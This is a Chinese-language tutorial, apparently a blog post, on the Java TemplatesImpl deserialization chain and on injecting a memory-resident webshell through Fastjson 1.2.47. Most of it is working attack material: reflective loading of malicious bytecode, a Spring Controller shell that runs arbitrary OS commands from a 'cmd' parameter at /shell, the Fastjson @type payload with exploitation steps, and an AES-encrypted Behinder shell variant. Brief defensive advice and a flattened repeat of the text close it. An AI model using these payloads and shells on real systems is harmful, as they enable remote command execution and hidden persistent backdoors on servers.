TemplatesImpl利用链与Fastjson注入内存马
字数 1277 2025-08-25 22:58:29

TemplatesImpl利用链与Fastjson注入内存马技术分析

0x01 背景知识

TemplatesImpl利用链是Java安全中一个极其重要的攻击链,被广泛应用于多种攻击场景:

  • CC链(Commons Collections)利用
  • CB链(Commons Beanutils)利用
  • 内存马注入

核心价值:能够加载Java字节码并实例化,比直接调用Runtime.exec执行命令更加灵活和强大。

关键利用链:

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

补充利用链(通过getOutputProperties触发):

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
[后续同上]

0x02 类加载器基础

ClassLoader核心API

public abstract class ClassLoader {
    public Class loadClass(String name);
    protected Class defineClass(byte[] b);
    public URL getResource(String name);
    public Enumeration getResources(String name);
    public ClassLoader getParent();
}

常见类加载器类型

  • URLClassLoader
  • DefineClassLoader
  • BCELClassloader
  • TemplatesImpl内置加载器

0x03 defineClass加载机制

反射调用defineClass示例

// 反射获取ClassLoader#defineClass
Class clazz = Class.forName("java.lang.ClassLoader");
Method defineClassMethod = clazz.getDeclaredMethod("defineClass", 
    String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);

// 加载Base64编码的恶意类字节码
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAX...");

// 定义并实例化类
Class targetClass = (Class) defineClassMethod.invoke(
    ClassLoader.getSystemClassLoader(),
    "com.classloader.Evil",
    bytes, 0, bytes.length);
targetClass.newInstance();

关键注意事项

  1. defineClass仅定义类,不执行任何代码
  2. 必须调用newInstance()才会触发:
    • 静态代码块(static{})
    • 构造代码块({})
    • 构造方法

0x04 TemplatesImpl利用详解

恶意类构造要求

必须满足以下条件:

  1. 继承AbstractTranslet
  2. 实现两个transform方法(继承要求)

示例恶意类:

public class TemplatesImplEvil extends AbstractTranslet {
    public TemplatesImplEvil() throws IOException {
        super();
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    // 必须实现的transform方法
    @Override public void transform(DOM document, SerializationHandler[] handlers){}
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}

完整利用代码

byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAe...");

TemplatesImpl templates = new TemplatesImpl();
// 设置必要字段
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 触发漏洞
templates.newTransformer();

利用链执行流程

  1. newTransformer()getOutputProperties()作为入口
  2. 最终通过getTransletInstance()调用newInstance()
  3. 完整链:
    TemplatesImpl#getOutputProperties() -> 
    TemplatesImpl#newTransformer() -> 
    TemplatesImpl#getTransletInstance() -> 
    TemplatesImpl#defineTransletClasses() -> 
    TransletClassLoader#defineClass()
    TemplatesImpl#getTransletInstance() -> 
    Constructor#newInstance() ->
    Runtime#exec(java.lang.String)
    

0x05 内存马注入技术

Spring Controller内存马示例

public class TemplatesImplSpringController extends AbstractTranslet {
    // 无参构造方法 - 注册内存马的核心逻辑
    public TemplatesImplSpringController() throws Exception {
        super();
        // 获取Spring上下文
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes().getAttribute(
                "org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        // 获取RequestMappingHandlerMapping
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(
            RequestMappingHandlerMapping.class);
        
        // 准备注册Controller所需的参数
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        // 注册恶意Controller
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);
    }

    // 有参构造方法 - 避免无限递归
    public TemplatesImplSpringController(String aaa) {}

    // 实际执行的恶意代码
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) 
            (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) 
            (RequestContextHolder.currentRequestAttributes())).getResponse();

        // 命令执行逻辑
        String arg0 = request.getParameter("cmd");
        PrintWriter writer = response.getWriter();
        if (arg0 != null) {
            // 执行命令并回显
            String o = "";
            java.lang.ProcessBuilder p;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
            } else {
                p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
            }
            java.util.Scanner c = new java.util.Scanner(p.start().getInputStream())
                .useDelimiter("\\A");
            o = c.hasNext() ? c.next() : o;
            c.close();
            writer.write(o);
            writer.flush();
            writer.close();
        } else {
            response.sendError(404);
        }
    }
    // 必须实现的transform方法
    @Override public void transform(DOM document, SerializationHandler[] handlers){}
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler){}
}

获取Spring上下文的四种方式

  1. ContextLoader.getCurrentWebApplicationContext()
  2. WebApplicationContextUtils.getWebApplicationContext()
  3. RequestContextUtils.getWebApplicationContext()
  4. RequestContextHolder.currentRequestAttributes().getAttribute()

0x06 Fastjson 1.2.47注入内存马

攻击Payload结构

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "b": {
        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "_bytecodes": ["恶意类字节码"],
        "_name": "a.b",
        "_tfactory": {},
        "_outputProperties": {},
        "_version": "1.0",
        "allowedProtocols": "all"
    }
}

漏洞利用步骤

  1. 准备Spring Controller内存马的字节码
  2. 将字节码Base64编码后插入Payload
  3. 发送到存在Fastjson 1.2.47漏洞的端点
  4. 访问注册的恶意路径(如/shell)执行命令

冰蝎内存马改造

test()方法替换为冰蝎逻辑:

public void test() throws Exception {
    try {
        HttpServletRequest request = ((ServletRequestAttributes) 
            (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) 
            (RequestContextHolder.currentRequestAttributes())).getResponse();
        HttpSession session = request.getSession();
        
        // 冰蝎核心逻辑
        if (request.getMethod().equals("POST")){
            String k="e45e329feb5d925b"; // 连接密码md5前16位
            session.putValue("u",k);
            Cipher c=Cipher.getInstance("AES");
            c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
            Method method = Class.forName("java.lang.ClassLoader")
                .getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            byte[] evilclass_byte = c.doFinal(
                new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
            Class evilclass = (Class) method.invoke(
                this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
            evilclass.newInstance().equals(pageContext);
        }
    } catch (Exception e){
        e.printStackTrace();
    }
}

0x07 防御建议

  1. 及时升级Fastjson到最新安全版本
  2. 禁止JVM加载不受信任的字节码
  3. 对反序列化操作进行严格管控
  4. 使用安全产品监控异常类加载行为
  5. 对内存马注入行为进行检测和防护

0x08 参考资源

  1. Java安全漫谈系列
  2. CB1链分析
  3. 内存马技术分析
  4. Fastjson漏洞分析
  5. TemplatesImpl深入分析
TemplatesImpl利用链与Fastjson注入内存马技术分析 0x01 背景知识 TemplatesImpl利用链是Java安全中一个极其重要的攻击链,被广泛应用于多种攻击场景: CC链(Commons Collections)利用 CB链(Commons Beanutils)利用 内存马注入 核心价值:能够加载Java字节码并实例化,比直接调用Runtime.exec执行命令更加灵活和强大。 关键利用链: 补充利用链(通过getOutputProperties触发): 0x02 类加载器基础 ClassLoader核心API 常见类加载器类型 URLClassLoader DefineClassLoader BCELClassloader TemplatesImpl内置加载器 0x03 defineClass加载机制 反射调用defineClass示例 关键注意事项 defineClass 仅定义类,不执行任何代码 必须调用 newInstance() 才会触发: 静态代码块(static{}) 构造代码块({}) 构造方法 0x04 TemplatesImpl利用详解 恶意类构造要求 必须满足以下条件: 继承 AbstractTranslet 类 实现两个 transform 方法(继承要求) 示例恶意类: 完整利用代码 利用链执行流程 newTransformer() 或 getOutputProperties() 作为入口 最终通过 getTransletInstance() 调用 newInstance() 完整链: 0x05 内存马注入技术 Spring Controller内存马示例 获取Spring上下文的四种方式 ContextLoader.getCurrentWebApplicationContext() WebApplicationContextUtils.getWebApplicationContext() RequestContextUtils.getWebApplicationContext() RequestContextHolder.currentRequestAttributes().getAttribute() 0x06 Fastjson 1.2.47注入内存马 攻击Payload结构 漏洞利用步骤 准备Spring Controller内存马的字节码 将字节码Base64编码后插入Payload 发送到存在Fastjson 1.2.47漏洞的端点 访问注册的恶意路径(如 /shell )执行命令 冰蝎内存马改造 将 test() 方法替换为冰蝎逻辑: 0x07 防御建议 及时升级Fastjson到最新安全版本 禁止JVM加载不受信任的字节码 对反序列化操作进行严格管控 使用安全产品监控异常类加载行为 对内存马注入行为进行检测和防护 0x08 参考资源 Java安全漫谈系列 CB1链分析 内存马技术分析 Fastjson漏洞分析 TemplatesImpl深入分析